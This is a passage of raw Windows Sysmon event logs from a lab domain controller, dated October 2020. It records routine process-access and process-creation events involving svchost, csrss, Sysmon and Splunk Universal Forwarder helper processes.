09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2A85-5F80-6001-000000007F01}4632C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A85-5F80-6001-000000007F01}4632C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.226{A5F018FF-2A85-5F80-6001-000000007F01}4632C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.678{A5F018FF-2A86-5F80-6101-000000007F01}48564844C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A86-5F80-6101-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A86-5F80-6101-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.537{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A86-5F80-6101-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:54.538{A5F018FF-2A86-5F80-6101-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.506{A5F018FF-2A87-5F80-6201-000000007F01}8604152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:55.365{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A87-5F80-6201-000000007F01}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 